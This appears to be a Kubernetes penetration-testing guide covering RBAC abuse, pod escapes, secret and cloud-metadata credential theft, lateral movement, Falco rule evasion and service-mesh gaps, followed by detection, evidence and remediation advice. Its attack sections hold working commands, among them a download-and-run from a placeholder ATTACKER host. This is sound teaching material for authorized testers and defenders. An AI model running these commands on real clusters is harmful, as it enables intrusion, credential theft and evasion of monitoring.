Kubernetes Security Testing
Container orchestration security assessment covering cluster misconfigurations, RBAC exploitation, pod escapes, and lateral movement in Kubernetes environments.
Authorization Required
Kubernetes Attack Flow
Reconnaissance
Container Detection
# Check if running inside a container
cat /proc/1/cgroup
ls -la /.dockerenv
# Service account token location
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# Environment variables
env | grep -i kubeAPI Server Access
# Set up API access from inside pod
APISERVER=https://kubernetes.default.svc
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Test API access
curl --cacert $CACERT --header "Authorization: Bearer $TOKEN" $APISERVER/api/
# List pods in current namespace
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
curl --cacert $CACERT --header "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces/$NAMESPACE/podsExternal Enumeration
# Scan for exposed API servers
nmap -p 6443,8443,10250,10255 -sV target.com
# Common K8s ports:
# 6443 - API Server (secure)
# 10250 - Kubelet API (secure)
# 10255 - Kubelet read-only
# 2379 - etcd
# Test unauthenticated kubelet API
curl -k https://target.com:10250/pods/RBAC Exploitation
Permission Enumeration
# Check current permissions
kubectl auth can-i --list
# Check specific permissions
kubectl auth can-i create pods
kubectl auth can-i get secrets
kubectl auth can-i create deployments
# List service accounts
kubectl get serviceaccounts --all-namespaces
# List roles and bindings
kubectl get roles --all-namespaces
kubectl get clusterrolesDangerous RBAC Permissions
| Permission | Risk | Exploitation Path |
|---|---|---|
| create pods | High | Spawn privileged pod |
| get secrets | Critical | Access credentials, tokens |
| exec pods | High | Command execution |
| create rolebindings | Critical | Privilege escalation |
Pod Escape Techniques
Privileged Container Escape
# Check if running as privileged
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = privileged
# Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host
# Access host files
cat /mnt/host/etc/shadow
cat /mnt/host/root/.ssh/id_rsa
# Escape to host via nsenter
nsenter --target 1 --mount --uts --ipc --net --pid -- bashHost PID Namespace Escape
# If hostPID: true is set
ps aux # See host processes
# Inject into host process
cat /proc/1/root/etc/shadow
# Access host filesystem via /proc
ls -la /proc/1/root/
# Copy files from host
cp /proc/1/root/etc/passwd /tmp/passwdDocker Socket Escape
# Check for mounted Docker socket
ls -la /var/run/docker.sock
# If present, spawn privileged container
docker run -it --privileged --pid=host --net=host -v /:/host alpine chroot /hostCredential Harvesting
Secret Extraction
# List all secrets
kubectl get secrets --all-namespaces
# Decode secret
kubectl get secret mysecret -o jsonpath='{.data.password}' | base64 -d
# Get all secrets in JSON
kubectl get secrets -o json
# Search for cloud credentials
kubectl get secrets --all-namespaces -o json | grep -i awsCloud Metadata Service
# AWS IMDS (if not blocked)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Azure IMDS
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
# GCP Metadata
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/Lateral Movement
# List all pods with IPs
kubectl get pods --all-namespaces -o wide
# Exec into another pod
kubectl exec -it target-pod -- /bin/bash
# Port forward to service
kubectl port-forward service/database 5432:5432
# Access internal services
curl http://internal-service.namespace.svc.cluster.localCommon Misconfigurations
Anonymous API Access
# Test anonymous access
curl -k https://API_SERVER:6443/api/
# Should return 403, not 200Exposed Kubelet
# Anonymous kubelet
curl -k https://NODE:10250/pods/Exposed etcd
# Unauthenticated etcd
etcdctl --endpoints=http://ETCD:2379 get / --prefix --keys-onlyDefault Namespace Usage
# All workloads in default namespace
kubectl get all -n defaultTools
kube-hunter
Hunt for security weaknesses in K8s clusters.
pip install kube-hunter
kube-hunter --remote CLUSTER_IPkubeaudit
Audit K8s clusters for security concerns.
brew install kubeaudit
kubeaudit allpeirates
K8s penetration testing tool.
go install github.com/inguardians/peirates@latestkubeletctl
Interact with kubelet API.
go install github.com/cyberark/kubeletctl@latest# Trivy - Container vulnerability scanner
trivy image nginx:latest
trivy k8s --report=summary
# rbac-tool - RBAC visualization
kubectl rbac-tool viz --outformat dot
# kubectl-who-can
kubectl who-can create pods
kubectl who-can get secretsRuntime Detection and Response
Everything above this point assumes you are getting in. This section answers the reverse question: once a workload is already running, what in the cluster is watching what it executes, and what is an alert from that sensor actually evidence of? It assumes you know what a DaemonSet, a service account and a container runtime already do. The sensor described here is Falco, the one most clusters deploy; the enforcement alternative at the end is Tetragon.
What the sensor is, and what that means for a test
A runtime sensor is a DaemonSet: one pod per node, in its own namespace, outside every workload it watches. Falco is two halves — a probe loaded into the node's kernel that produces syscall events, and a userspace engine that evaluates rules over those events and writes an alert to stdout as text or JSON. In most installs a forwarder (Falco Sidekick) ships that JSON on to a SIEM or a chat channel.
Three things follow, and all three are worth establishing before you try anything:
- Nothing of the sensor lives in your pod's namespaces, so a compromised container cannot see or kill it without escaping the pod or reaching the node. Silencing detection is an escape problem, not a process problem.
- It is visible through the API anyway.
kubectl get ds -A | grep -i falcoand then the rules it loaded is two commands, and it tells you what you are up against. - Every alert is one matched event, not a session. The rule text is therefore the complete specification of what the sensor can see, so reading the rules installed in the cluster beats reading the upstream defaults — installs pin older rulesets, disable the noisy ones, and add exceptions.
Silence Is Not Absence
Running
proves the process started, not that the probe attached. A probe that failed to load, a pinned rules file and an
output that never left the node all look identical from the alert channel: nothing. Read the DaemonSet's logs for
driver-load errors and the loaded rule count before writing "no runtime detection observed" in a report.
The driver question: modern eBPF by default
Falco's current documentation lists two supported drivers and marks the modern eBPF probe as the
default. It is embedded in the Falco binary and built on CO-RE, so there is no kernel-specific module to build or
download; it needs a kernel that exposes BTF and the BPF ring buffer, nominally 5.8 and later, with backports
possible on older distributions. The setting is engine.kind:
modern_ebpf selects the
probe and kmod the module.
The kernel module is the fallback for kernels without those features, and the documentation is explicit that it
"requires full privileges and cannot run with Linux capabilities". The modern probe instead has a documented
minimum set of CAP_SYS_BPF,
CAP_SYS_PERFMON,
CAP_SYS_RESOURCE and
CAP_SYS_PTRACE, with
CAP_SYS_ADMIN standing
in for the first two on older kernels. The older eBPF probe that plenty of write-ups describe as "the eBPF driver" is
no longer in the supported list at all, so a config that still names it dates the install.
Why a tester cares: the driver decides what the probe can see and what the node has to grant it. On a node where the
modern probe cannot attach, the sensor degrades to a fully privileged kernel module on every node — which makes it a
target on the node boundary as much as a defence of one. Read which driver loaded from the DaemonSet's arguments or
from falco.yaml, and
do not assume "Falco is running" means the same thing on two clusters.
Anatomy of one shipped rule
The rule below is the shipped Terminal shell in container rule, abridged only in its output fields. It is the one most likely to catch an interactive foothold, so it is worth reading clause by clause — every clause is a statement about what the sensor will and will not notice.
- rule: Terminal shell in container
desc: A shell was used as the entrypoint/exec point into a container with an attached terminal.
condition: >
spawned_process and container
and shell_procs and proc.tty != 0
and container_entrypoint
and not user_expected_terminal_shell_in_container_conditions
output: >
A shell was spawned in a container with an attached terminal
(user=%user.name process=%proc.name parent=%proc.pname
command=%proc.cmdline terminal=%proc.tty)
priority: NOTICE
tags: [maturity_stable, container, shell, mitre_execution, T1059]spawned_processis a macro forevt.type in (execve, execveat). This is the only event class the rule can ever fire on: no file read, no connection and no memory write produces it.containeriscontainer.id != host, so host-level activity is out of scope here and needs a separate rule.shell_procsisproc.name in (shell_binaries)— a list of names, which is where the rule's blindness begins.proc.tty != 0means the process has a controlling terminal: the difference between an interactive shell and one spawned by a script or a web request.container_entrypointexpands to "no parent, or the parent isrunc,containerd-shim,conmonand friends". The rule as shipped is narrower than its name: it is anchored on a shell that is the container's own entrypoint process, not on every shell that ever runs. Falco's description adds that underkubectl execthe parent may legitimately have exited and be null, which is what the null-parent branch of that macro allows for.user_expected_terminal_shell_in_container_conditionsis a macro set tonever_true. That clause is the documented tuning hook: local exceptions belong in the macro rather than in the condition, which is why a heavily tuned cluster's rule text still looks identical to upstream.priority: NOTICE— Falco's own guidance puts unexpected behaviour at NOTICE, reads of sensitive state at WARNING and writes to state at ERROR. A NOTICE is a queue item, not a statement about impact.
What the alert is evidence of, and what it is not
- It is one specific execve or execveat on node N at time T, in container C, where the binary name was in the shell list, a terminal was attached, and the parent looked like a runtime shim. The output template adds the user, the command line and, with the Kubernetes metadata enrichment, the pod and the image.
- It is not who did it. A syscall carries no caller identity. The identity behind a
kubectl execlives in the API server's audit log, which is why Falco's own description of this rule tells you to correlate withk8sauditexec records. That is a second event source, not part of this alert. - It is not what happened next. Each event is evaluated separately, and this alert contains no file write and no connection. It says a shell started, and nothing about the twenty commands that followed.
- It is not a response. Falco alerts; it does not block. Nothing in that path refuses the exec.
Operators run kubectl exec
all day, which is exactly why the rule ships at NOTICE and why Falco's own text calls it a good auditing rule to read
alongside other alerts from the same container rather than a standalone finding. In a report the finding is the
missing correlation — an exec in the audit log with no alert behind it, or an alert nobody triaged — not the shell
itself.
Where name-based rules lose
Every rule above keys off a process or file event, so the evasion surface is whatever avoids spawning a watched binary name or touching a watched path. The three shapes below are the same ones that show up against host EDR, and they work here for the same reason: the rule matched on a name, not on the behaviour.
# A shell with no terminal: os.system spawns /bin/sh, but proc.tty is 0
python3 -c "import os; os.system('id')"
# No shell at all: the interpreter execs the target directly
perl -e 'exec "id"'
# The binary name changes, the syscall does not
tac /etc/passwd | tac # instead of cat
echo * # instead of ls
# Stage a static binary instead of running a package manager
curl -o /tmp/tool http://ATTACKER/tool
chmod +x /tmp/tool && /tmp/tool
Note what each one actually defeats. The first still creates a shell, so the exec is visible and a rule keyed on the
parent process still fires — but the terminal clause is false, so this particular rule stays quiet. The second never
creates a shell, so shell_procs
has nothing to match, while a rule that allowlists which binaries a namespace may execute still sees
id run. The third
changes the binary, not the syscall. The invariant the sensor enforces is execve; the durable rule shape is "which
images, in which namespace, may spawn which binaries", and a write-up that lists shell names to avoid is describing
a bypass of one rule, not of the sensor.
One more target sits behind the sensor rather than in front of it: the rules and the daemon configuration are
Kubernetes objects in the same cluster you are assessing, and the DaemonSet is what attaches the probe. Whoever can
patch either one controls the alert stream, so
kubectl auth can-i update configmaps -n FALCO_NAMESPACE
and the equivalent for the DaemonSet belong in the same sweep as the RBAC enumeration above. That finding is worth
more than an unpatched image, because it silently converts every other runtime finding into "not observed".
Tetragon: enforcement instead of alerting
Tetragon uses the same event source — eBPF on the node — but a different contract. Its policy object is a
TracingPolicy custom
resource: you name a hook (a kprobe, a tracepoint, a uprobe or an LSM hook), then selectors that are evaluated in the
kernel, then an action. The selectors cover ground a single Falco condition struggles to express in one object —
binary path, parent binary, host or namespace PID, namespace inodes including host_ns,
capability set, namespace changes, capability changes.
The actions are where it stops being a detector. Documented actions include Sigkill,
Signal,
Override (replace the
return value of the hooked function) and Post /
NoPost for telemetry.
Sigkill "terminates
synchronously the process that made the call ... from the kernel", so enforcement does not wait for a userspace
decision; the event still reaches the agent for logging unless NoPost
is set.
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: protect-passwd
spec:
kprobes:
- call: "sys_write"
syscall: true
args:
- index: 0
type: "fd"
- index: 1
type: "char_buf"
sizeArgIndex: 3
- index: 2
type: "size_t"
selectors:
- matchPIDs:
- operator: NotIn
followForks: true
isNamespacePID: true
values:
- 0
- 1
matchArgs:
- index: 0
operator: "Prefix"
values:
- "/etc/passwd"
matchActions:
- action: Sigkill
The policy above kills any process in a container namespace other than PID 0 or 1 that tries to write
/etc/passwd. The PID
exclusion is the same distinction Falco approaches from the other side: a process created by
kubectl exec is not a
child of PID 1, so "not PID 1" is a usable stand-in for "not the container's own entrypoint". What it changes is the
outcome: the write is refused and the process dies, instead of an alert arriving somewhere. What it does not change is
the part people over-credit — a killed process is not an un-compromised one. Anything it did before the hooked call
still happened, and a Sigkill
on the wrong selector takes out production just as reliably as it takes out an attacker.
So read the policies, not the product name. A cluster running Tetragon has exactly the enforcement its team wrote and reviewed; a cluster running Falco has its ruleset, which is at least a shipped catalogue you can compare against upstream. Either way the coverage boundary is the rules file itself, and neither sensor sees inside TLS, sees what a process did in memory, or tells you who authorised the action.
Runtime detection is the last stage of a chain that starts much earlier. How the image got into the cluster is the registry and supply-chain path; the runtime underneath the node is Docker security; and turning a rule's assumption into a bypass is the same exercise as EDR bypass on a Windows host.
Service Mesh Attack Surface
The question here is not whether the cluster runs Istio, but which of the mesh's promises applies to the request you are about to send. A mesh is bought for two things — mutual TLS between workloads and authorization for pod-to-pod traffic — and both are enforced somewhere specific, by something specific, and only for the pods that are actually in the mesh. This is the offensive view, and it assumes you can already run a pod in a namespace; the cloud pentesting overview covers the paths that get you one.
Two data planes, two different targets
Sidecar mode gives every workload pod an Envoy container. The istiod control plane distributes configuration and certificates, and an init step installs iptables rules in the pod's network namespace that redirect outbound traffic to port 15001 and inbound traffic to Envoy's virtual inbound listener on port 15006. mTLS terminates in that sidecar, and both L4 and L7 authorization are evaluated there. The Envoy admin interface on port 15000 is bound to loopback inside the same network namespace.
Ambient mode, generally available since Istio 1.24, has no per-pod proxy and no
istio-proxy container.
The istio-cni node agent programs the redirection rules, a per-node ztunnel DaemonSet carries the L3 and L4 path —
mTLS, authentication, L4 authorization, telemetry — and anything above L4 needs a waypoint proxy, which is a
deployment of Envoy that runs outside the application pods, per namespace or per service. ztunnel does not parse HTTP
or terminate workload HTTP traffic, so an L7 rule with no waypoint to evaluate it is a rule that does nothing.
Which mode you are in changes the test rather than the tooling. Under sidecars the pod is simultaneously your foothold and the enforcement point: one shell gets you the app's port and the proxy's admin API. Under ambient there is no per-pod proxy to find, the L4 enforcement you would be abusing sits in a node-level DaemonSet, and the L7 policy may not exist at all. This is also why an empty result from the sidecar checks below is not a finding — it is a mode.
Establishing the mode and what is enforced
# Control plane, and which data plane the nodes run
kubectl get pods -n istio-system # istiod; ztunnel + istio-cni-node mean ambient
kubectl get ds -n istio-system # a ztunnel DaemonSet exists only in ambient mode
# Intent versus fact: the namespace label is intent, the container list is fact
kubectl get ns -L istio-injection
kubectl get pod POD -n APP -o jsonpath='{.spec.containers[*].name}'
# Sidecar-only: Envoy admin is bound to loopback inside the pod
kubectl exec deploy/client -n APP -- curl -s localhost:15000/server_info
kubectl exec deploy/client -n APP -- curl -s localhost:15000/clusters
# What is actually enforced, and over which workloads
kubectl get authorizationpolicies -A
kubectl get peerauthentications -A -o yaml | grep -i mode
kubectl get gateways -A # waypoints, ambient only
Keep the two policy kinds separate, because they answer different questions. PeerAuthentication decides whether
plaintext is accepted — PERMISSIVE
accepts both, STRICT
refuses non-mTLS — and says nothing about who may call what. AuthorizationPolicy decides that, and Istio's model is
allow-by-default until a policy selects the workload: once an ALLOW policy selects it, a request has to match one of
its rules or it is denied. The useful question during a test is therefore not "is mTLS on" but "which policy selects
this workload, and does my request match a rule in it".
What is not a bypass
You will read that connecting to a pod's IP and application port directly skips the proxy. In sidecar mode it does
not. The iptables rules live in the pod's own network namespace, so a request to
POD_IP:APP_PORT is
redirected to the inbound listener on 15006 before it ever reaches the application socket, and the authorization
chain runs. The service name is no different: traffic to
service.namespace.svc.cluster.local
is captured the same way. Under PERMISSIVE
the request may arrive without a client certificate, but "no identity" is a property the policy evaluates, not a way
past it: a rule requiring source.principals
will deny that request, and a rule that does not will allow it. Address choice changes neither outcome.
In ambient mode the L4 redirect still applies — the CNI agent programs it and traffic goes to the node's ztunnel — but L7 authorization is evaluated by a waypoint. A namespace with no waypoint therefore has nothing to evaluate an HTTP-level rule, so a rule that holds under sidecars can be entirely absent in ambient. That is a configuration gap, not an address trick, and it is the first thing to confirm before reporting that a mesh enforces L7 policy.
The gaps that are real
Excluded ports. A workload annotated with
traffic.sidecar.istio.io/excludeInboundPorts
has that port left out of the inbound redirect, so traffic reaches the process directly and the mesh's policy is
never consulted. Writing the annotation needs rights to change the pod template — deploy rights in the namespace —
so the finding to report is that permission, plus the workload that already carries the annotation because someone
needed a health check or a metrics scrape to work.
Pods outside the mesh. A namespace without
istio-injection=enabled,
a pod that opted out with sidecar.istio.io/inject: "false",
or a hostNetwork: true
pod gets no sidecar and no capture. Traffic between such a pod and a meshed workload carries no mesh identity, and
whether that is exploitable depends on the destination: a
STRICT PeerAuthentication
refuses it at the transport layer, and an authorization policy that admits only authenticated principals refuses it
after arrival.
Localhost trust inside the pod. An application that treats connections from
127.0.0.1 as trusted
is wrong inside a meshed pod: loopback is shared with Envoy, so anything already in that network namespace — a
second container, a compromised app process — can reach the admin API on 15000 and the application on its own port
without passing the inbound listener's policy at all. In ambient mode there is no per-pod Envoy, so this specific
path disappears and the equivalent question moves to the node.
# The port exemption is a pod-template change; that permission is the finding
kubectl patch deployment myapp -n APP --type merge -p '{"spec":{"template":{"metadata":{"annotations":{"traffic.sidecar.istio.io/excludeInboundPorts":"8080"}}}}}'
# After the rollout, the new pod's inbound chain no longer covers 8080,
# so a request to the pod IP on that port reaches the process, not Envoy
kubectl get pods -n APP -l app=myapp -o wide
curl -s -o /dev/null -w "%{http_code}\n" http://POD_IP:8080/Capture Is Per-Pod, Not Per-Namespace
kubectl get ns -L istio-injection)
tells you the intended state, not the effective one: pods created before injection was enabled keep running without a
sidecar, and a label does not retroactively add one.
What to record
- The mode, and the object that proves it — a
ztunnelDaemonSet, oristio-proxyin the workload's container list. - The effective capture for the specific pod, not the namespace label, and any port exemption already present on the workload.
- The policy object that allowed the request, quoted by name and exact selector, plus whether the connection was mTLS or plaintext and which PeerAuthentication mode produced that.
- For ambient, whether a waypoint existed for that namespace — without one, an L7 rule is documentation rather than control.
The mesh's own configuration arrives through the same path as every other manifest, so who can merge a
PeerAuthentication
change is
a GitOps question,
and the host runtime underneath the pods — the other half of the escape techniques above — is
covered separately.
Kubernetes Security Labs
Hands-on practice with Kubernetes attack techniques.
Evidence to Capture
A manifest is not a running object. Kubernetes evidence has to come from the live cluster state and the admission chain that let it exist.
Cluster and namespace context: Cluster name or API server endpoint, the namespace, and the service account the pod ran as.
Authorization decision: The output of kubectl auth can-i --list for the identity used, plus the Role or ClusterRole and binding YAML that produced it.
Pod specification: The securityContext block as applied, including runAsUser, privileged, capabilities, allowPrivilegeEscalation and hostPath volumes, taken from the live object.
Service account token: The token path and the namespace file, with the token redacted and its audience and expiry recorded.
Escape command and node-side proof: The command plus the observation on the node that proves it, such as a node file read, a node process list or a kubelet response.
Admission and policy state: Namespace labels for Pod Security Admission, and the policy-engine result for the workload where OPA or Kyverno is in use.
Likely False Positives
Between Pod Security Admission, a policy engine and the managed control plane, most permissive-looking manifests never reach a running pod.
- Pod Security Admission enforced: A namespace labelled restricted refuses the pod before it runs. The manifest is not the deployed state.
- Policy engine denies or mutates: Kyverno or Gatekeeper can reject or rewrite at admission, so the running object differs from the YAML that was reviewed.
- Kubelet anonymous auth disabled: An unauthenticated kubelet read returning 401 is a configured control, not a finding.
- Permission without a schedulable target: The right to create a privileged pod is only exploitable where a node can schedule it and the admission chain permits it.
- Secret object with no data: A Secret that exists empty, or one mounted read-only into a pod that never reads it, is not exposure.
- Expired projected token: A token recovered from a terminated pod or a rotated projected volume no longer authenticates.
- Managed control plane hardening: EKS, AKS and GKE run admission, audit and control-plane patching outside the client account. A finding that needs those to be broken is not a finding.
Testing Checklist
Cluster and API
- ☐ API server endpoint and version recorded
- ☐ Anonymous authentication state tested
- ☐ Exposed kubelet, dashboard and etcd endpoints checked
- ☐ Admission controllers and policy engines in place recorded
Identity and RBAC
- ☐ Identity used for each finding named as service account, user or token
- ☐ Role and binding YAML captured, not only the can-i result
- ☐ Wildcard verbs and resources in ClusterRoles listed
- ☐ Cluster-admin bindings enumerated
- ☐ Default service account token automount state recorded
Workload
- ☐ securityContext fields captured from the live object
- ☐ hostPath, hostPID, hostNetwork and hostIPC recorded per workload
- ☐ Privileged containers and added capabilities listed
- ☐ Image digests and registry authentication recorded
Evidence
- ☐ Escape proven from the node side, not only from inside the pod
- ☐ Secret contents recorded as paths and hashes
- ☐ Cloud metadata reachability from the pod tested
- ☐ Timestamps and node names recorded for correlation with audit logs
Remediation & Defense
Admission and policy
- • Label namespaces with Pod Security Admission restricted, or enforce the equivalent policy
- • Reject privileged containers, hostPath mounts and host namespace sharing at admission
- • Restrict creation of ClusterRoleBindings to a break-glass role
RBAC
- • Remove wildcard verbs and resources from workload-facing roles
- • Replace cluster-admin bindings held by service accounts with scoped roles
- • Disable automountServiceAccountToken where the pod does not call the API
Workload hardening
- • Set allowPrivilegeEscalation to false and drop all capabilities
- • Run with a read-only root filesystem and a non-root runAsUser
- • Use projected, audience-scoped service account tokens with a short expiry
Detection
- • Enable audit logging with a policy that captures request bodies for the sensitive resources
- • Alert on exec into production namespaces and on privileged pod creation
- • Run kube-bench or kubeaudit on a schedule and track the diff